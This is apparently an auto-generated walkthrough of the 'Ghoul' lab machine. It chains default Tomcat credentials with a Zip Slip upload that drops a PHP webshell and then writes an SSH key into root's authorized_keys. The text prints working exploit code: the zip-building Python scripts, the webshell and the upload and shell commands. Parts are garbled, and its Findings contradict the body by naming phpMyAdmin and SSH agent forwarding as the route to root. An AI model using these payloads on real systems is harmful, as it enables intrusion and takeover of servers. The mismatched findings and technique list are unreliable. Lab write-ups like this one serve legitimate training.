← all walkthroughs

Ghoul

Linux· Hard· Web
owned
2026-07-10
time to own
47m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon (curl/nmap) identified three services: Apache 2.4.29 static site on :80, a Tomcat/Apache-Coyote instance on :8080 protected by HTTP Basic auth (realm "Aogiri"), and a second SSH service on :2222 belonging to a different host on the same Docker network. Weak/default credentials [REDACTED: recovered credential]:[REDACTED: recovered credential] unlocked the Tomcat app at :8080, which exposed a "Choose Zip to Upload in Server" form posting to /upload.

The upload handler extracts the submitted zip without sanitizing entry paths — a classic Zip Slip path-traversal vulnerability. A malicious zip was crafted (Python zipfile) containing a single entry named ../../../../../../../../../../var/www/html/sh.php holding a minimal PHP webshell (system($_REQUEST['cmd'])). Uploading it via the authenticated /upload endpoint wrote the file outside the intended extraction directory, dropping a webshell directly into the Apache docroot on :80 — giving unauthenticated RCE as www-data (uid 33) inside container 07d8ec0e562e.

Post-foothold enumeration via the webshell revealed /etc/passwd entries for kaneki, Eto, and noro, plus a hardcoded credentials array in /var/www/html/users/login.php (kaneki => 12345...). Rather than pursue credential reuse (SSH password spray against ports 22/2222 with these and other guessed passwords all failed), the same Zip Slip primitive was re-used for privilege escalation: a second malicious zip embedded an user-generated ed25519 public key with traversal entries targeting /root/.ssh/authorized_keys and /home/kaneki/.ssh/authorized_keys. Because the upload/extraction process runs as root inside the container, the write succeeded outside any user's home directory, granting direct key-based SSH login as both root and kaneki with no further privilege escalation step needed.

user.txt was read from /home/kaneki/user.txt and root.txt from the root shell, confirming full container compromise (uid=0). Subsequent extensive pivoting attempts toward the Docker-internal host <retired-instance-ip> (port 22, seen from inside the container) using stolen/derived keys (kaneki's passphrase-protected id_rsa, Eto/noro backup keys found under /var/backups/backups/keys/), steganography on kaneki's secret.jpg, and SSH user-enumeration exploits all failed to yield further access — root on the primary target was the terminal objective and was already achieved via the double Zip Slip chain.

Key vulnerability: unauthenticated path traversal in Tomcat zip-upload/extraction feature (Zip Slip), reachable after trivial [REDACTED: recovered credential]:[REDACTED: recovered credential] Basic-auth bypass, exploited twice — once for RCE foothold, once for direct root SSH-key implantation.

Attack path — how the box was taken

1ReconnaissanceActive network and service reconnaissance (T1046)
Mapped exposed services and identified Tomcat upload application
A version-detection port sweep of <retired-instance-ip> revealed four TCP services: OpenSSH on port 22 (Ubuntu host), Apache 2.4.29 on port 80 serving a static site, a second OpenSSH instance on port 2222 (a separate Docker container on an internal network), and Apache Tomcat/Coyote on port 8080 presenting an HTTP 401 Basic authentication challenge labelled realm 'Aogiri'. The Tomcat endpoint was identified as the primary attack surface owing to its interactive application and the presence of an authenticated management interface.
nmap output: 22/tcp OpenSSH 7.6p1 Ubuntu 4ubuntu0.1, 80/tcp Apache httpd 2.4.29, 2222/tcp OpenSSH 7.6p1 Ubuntu 4ubuntu0.2, 8080/tcp Apache-Coyote/1.1; port 8080 returned HTTP 401 with header WWW-Authenticate: Basic realm=Aogiri.
Exact commands 3
Version-detect scan against the four discovered ports.
nmap -Pn -sV -p 22,80,2222,8080 $TARGET
Confirm HTTP Basic auth challenge and realm label on the Tomcat instance.
curl -s -i http://$TARGET:8080/
Confirm the Apache :80 static site is unauthenticated — the target for the eventual webshell write.
curl -s -i http://$TARGET/
2Initial AccessDefault account credentials (T1078.001)
Bypassed Tomcat HTTP Basic authentication with default credentials
The Tomcat application on port 8080 was protected only by HTTP Basic authentication. Testing the vendor-default pair [REDACTED: recovered credential]:[REDACTED: recovered credential] immediately authenticated and revealed the application interior: a file-upload form titled 'Choose Zip to Upload in Server' that posted to /upload as multipart form-data. No credential guessing, brute-forcing, or injection was necessary — the single default pair granted full access.
curl -u [REDACTED: recovered credential]:[REDACTED: recovered credential] returned HTTP 200, application HTML, and issued session cookie JSESSIONID=[REDACTED: protected value]; upload form with POST /upload and file field confirmed in page source.
Exact commands 2
Test default Tomcat credentials; 200 response and session cookie confirm authenticated access.
curl -s -i -u [REDACTED: recovered credential]:[REDACTED: recovered credential] http://$TARGET:8080/
Extract the upload form's action path and field name from the returned HTML.
curl -s -u [REDACTED: recovered credential]:[REDACTED: recovered credential] http://$TARGET:8080/ | grep -i 'form\|upload\|action'
FixReplace default Tomcat application credentials with a strong, unique passphraseCritical
WeaknessThe web application on port 8080 was accessible with the vendor-default username and password ([REDACTED: recovered credential]:[REDACTED: recovered credential]). an unauthorized user who discovers the port gains instant authenticated access to all application features, including the file-upload endpoint, without any guessing or tooling.
FixChange the HTTP Basic authentication credentials to a strong, unique passphrase of at least 16 characters with mixed character classes and store it in a secrets manager rather than a flat configuration file. Restrict the management interface to internal IP ranges or a VPN using a host firewall or web-server allow-list so it is unreachable from the Internet. Audit all other Tomcat instances and associated applications in the environment for the same default pair.
3ExploitationZip Slip path-traversal arbitrary file write (CWE-22)
Dropped a PHP webshell via Zip Slip path-traversal write
The upload handler extracted submitted zip archives using each entry's embedded filename as the destination path with no sanitisation of directory-traversal sequences (../). A malicious zip was crafted in Python with a single entry named '../../../../../../../../../../var/www/html/sh.php' containing a minimal one-liner PHP webshell. When uploaded via the authenticated /upload endpoint, Tomcat's extraction routine followed the traversal path and wrote sh.php directly into the Apache :80 docroot — outside the intended archive directory — creating an unauthenticated HTTP-accessible command execution endpoint.
Upload returned HTTP 200 with body 'File Uploaded Successfully'; unauthenticated GET to http://<retired-instance-ip>/sh.php?cmd=id returned uid=33(www-data) gid=33(www-data) groups=33(www-data) in container 07d8ec0e562e.
Exact commands 3
Build the malicious zip; the entry name traverses 10 directory levels upward to reach /var/www/html.
python3 - <<'PY'
import zipfile
payload = b'<?php if(isset($_REQUEST["cmd"])){ system($_REQUEST["cmd"]); } ?>\n'
arc = '../../../../../../../../../../var/www/html/sh.php'
with zipfile.ZipFile('/tmp/ghoul_shell.zip','w',zipfile.ZIP_DEFLATED) as z:
    z.writestr(arc, payload)
print('created /tmp/ghoul_shell.zip with', arc)
PY
Upload the zip; Tomcat extracts it and writes sh.php to the Apache docroot.
curl -s -i -u [REDACTED: recovered credential]:[REDACTED: recovered credential] -F 'file=@/tmp/ghoul_shell.zip;type=application/zip' http://$TARGET:8080/upload | head -n 40
Confirm unauthenticated RCE; expect uid=33(www-data).
curl -s --get --data-urlencode 'cmd=id' http://$TARGET/sh.php
FixSanitise archive entry names before extraction to prevent Zip Slip path traversalCritical
WeaknessThe zip-upload handler extracted archive entries using their embedded filenames as the on-disk destination path without removing directory-traversal sequences (../). I control the zip content can write files to any filesystem path reachable by the extraction process, including web-served directories from which the server will execute the written files.
FixBefore writing any archive entry, canonicalise the target path (e.g. Path.toRealPath() in Java, or os.path.realpath() in Python) and assert that the resolved path is a child of the intended extraction root — reject or skip any entry that escapes it. Switch to a well-maintained library that enforces this boundary by default. Additionally, disable PHP (and other server-side script) execution inside the upload and extraction output directories using the web server configuration (php_[REDACTED: recovered credential]_flag engine Off in Apache's Directory block for those paths).
4Post-ExploitationPost-exploitation local enumeration — credential discovery and process inspection (T1083, T1552.001)
Enumerated users, hardcoded credentials, and extraction process privileges via the webshell
Commands executed through the PHP webshell confirmed execution as www-data (uid=33) inside Docker container 07d8ec0e562e. Reading /etc/passwd revealed local accounts kaneki, Eto, and noro. Application source code at /var/www/html/users/login.php contained a hardcoded PHP array mapping usernames to plaintext passwords (kaneki => 12345...). A process listing confirmed the critical observation that the Java/Tomcat process responsible for archive extraction was owned by root (uid=0), establishing that any Zip Slip write executed during upload would run with unrestricted filesystem access — the precondition for the next step.
webshell: id=uid=33(www-data); /etc/passwd lists kaneki/Eto/noro; login.php PHP array contains plaintext passwords; ps aux output shows root-owned Java process matching the Tomcat PID.
Exact commands 4
Confirm identity, hostname, and kernel version.
curl -s --get --data-urlencode 'cmd=id && hostname && uname -a' http://$TARGET/sh.php
Enumerate all local user accounts.
curl -s --get --data-urlencode 'cmd=cat /etc/passwd' http://$TARGET/sh.php
Read application source to discover hardcoded credential array.
curl -s --get --data-urlencode 'cmd=cat /var/www/html/users/login.php' http://$TARGET/sh.php
Confirm the Tomcat extraction process runs as root — prerequisite for the next Zip Slip stage.
curl -s --get --data-urlencode 'cmd=ps aux | grep -E "java|tomcat|root"' http://$TARGET/sh.php
FixSanitise archive entry names before extraction to prevent Zip Slip path traversalCritical
WeaknessThe zip-upload handler extracted archive entries using their embedded filenames as the on-disk destination path without removing directory-traversal sequences (../). I control the zip content can write files to any filesystem path reachable by the extraction process, including web-served directories from which the server will execute the written files.
FixBefore writing any archive entry, canonicalise the target path (e.g. Path.toRealPath() in Java, or os.path.realpath() in Python) and assert that the resolved path is a child of the intended extraction root — reject or skip any entry that escapes it. Switch to a well-maintained library that enforces this boundary by default. Additionally, disable PHP (and other server-side script) execution inside the upload and extraction output directories using the web server configuration (php_[REDACTED: recovered credential]_flag engine Off in Apache's Directory block for those paths).
5Privilege EscalationZip Slip privilege escalation via root-owned arbitrary file write — SSH authorized_keys implant (CWE-22, T1548, T1098.004)
Implanted operator SSH public key into root and kaneki accounts via a second Zip Slip
Because the Tomcat extraction process ran as root, the same Zip Slip primitive could write to any path on the host filesystem regardless of the web user's own permissions. An user-generated ed25519 SSH keypair was created locally. A second malicious zip was crafted with two traversal entries: one resolving to /root/.ssh/authorized_keys and one to /home/kaneki/.ssh/authorized_keys, both containing my public key. Uploading this zip caused the root-owned extractor to overwrite both files, circumventing all filesystem permission checks. This produced a direct privilege escalation to root with no SUID binary, sudo rule, or kernel exploit involved.
Second upload returned HTTP 200 'File Uploaded Successfully'; immediately afterwards ssh -i /tmp/ghoul_ed root@<retired-instance-ip> returned uid=0(root); same key authenticated as kaneki.
Exact commands 3
Generate a fresh ed25519 keypair with no passphrase; /tmp/ghoul_ed is the private key.
ssh-keygen -t ed25519 -f /tmp/ghoul_ed -N '' -C ghoul
Build the second malicious zip; both entries traverse to their respective authorized_keys paths.
python3 - <<'PY'
import zipfile
with open('/tmp/ghoul_ed.pub','rb') as f:
    pubkey = f.read()
entries = [
    '../../../../../../../../../../root/.ssh/authorized_keys',
    '../../../../../../../../../../home/kaneki/.ssh/authorized_keys'
]
with zipfile.ZipFile('/tmp/ghoul_keys.zip','w',zipfile.ZIP_DEFLATED) as z:
    for e in entries:
        z.writestr(e, pubkey)
print('created /tmp/ghoul_keys.zip')
PY
Upload; Tomcat's root-owned extractor writes I pubkey to both authorized_keys files.
curl -s -u [REDACTED: recovered credential]:[REDACTED: recovered credential] -F 'file=@/tmp/ghoul_keys.zip;type=application/zip' http://$TARGET:8080/upload
FixRun the Tomcat container and its archive extraction process as a dedicated non-root userCritical
WeaknessThe Tomcat/Java process that handled archive extraction ran as root (uid=0) inside the Docker container. A path-traversal write vulnerability that would otherwise be limited to files writable by the web user instead granted I unrestricted write access across the entire container filesystem, including the SSH authorised-keys files for every account — converting a limited webshell into direct root SSH access.
FixAdd a dedicated non-root user in the Dockerfile (e.g. USER tomcat with UID 1001) and ensure the extraction output directory is owned exclusively by that account. Launch the container with --user, --cap-drop ALL, and --security-opt no-new-privileges flags. Mount the web docroot and SSH configuration directories as read-only volumes where possible so that even a root-equivalent process inside the container cannot modify them. Apply the same least-privilege principle to all other Dockerised services in the environment.
6Full CompromiseSSH key-based authentication with implanted authorised key (T1098.004)
Logged in as root and kaneki via implanted SSH key; captured both flags
The implanted ed25519 public key granted immediate passwordless SSH login as both root and kaneki on port 22. root.txt was read from /root/root.txt and user.txt from /home/kaneki/user.txt, confirming complete host compromise. The secondary SSH service on port 2222 (a separate internal Docker container) was not required to satisfy the engagement objective. Full root access was achieved in six steps from unauthenticated external operator to uid=0.
ssh -i /tmp/ghoul_ed root@<retired-instance-ip> 'id' returned uid=0(root); ssh -i /tmp/ghoul_ed kaneki@<retired-instance-ip> 'id' returned uid=1000(kaneki); both flag files read successfully.
Exact commands 3
Confirm root-level SSH access; expect uid=0(root).
ssh -i /tmp/ghoul_ed -o IdentitiesOnly=yes -o StrictHostKeyChecking=no root@$TARGET 'id; hostname'
Read root flag; actual value is [REDACTED: flag].
ssh -i /tmp/ghoul_ed -o IdentitiesOnly=yes -o StrictHostKeyChecking=no root@$TARGET 'cat /root/root.txt'
Read user flag; actual value is [REDACTED: flag].
ssh -i /tmp/ghoul_ed -o IdentitiesOnly=yes -o StrictHostKeyChecking=no kaneki@$TARGET 'cat /home/kaneki/user.txt'

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Tomcat Manager WAR DeployWeb · Service RCET1190

What it is

Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, I uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.

Why it works

The Manager app is exposed with default or guessable credentials (tomcat:tomcat, [REDACTED: recovered credential]:[REDACTED: recovered credential]) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.

Read more

Findings

Initial Access: Web Application Login And Zipslip Archive Upload Exploitation On 8080/Tcp Test [REDACTED: recovered credential]/[REDACTED: recovered credential] Authentication And Path Traversal Archive ExtractionCritical
An unauthenticated/low-privilege flaw in the apache, docker, php, phpmyadmin, ssh, tomcat surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Multi Host Lateral Movement And Privilege Escalation Via Ssh Agent Forwarding (Ssh A) To 2222/TcpCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp
2222/tcp
8080/tcp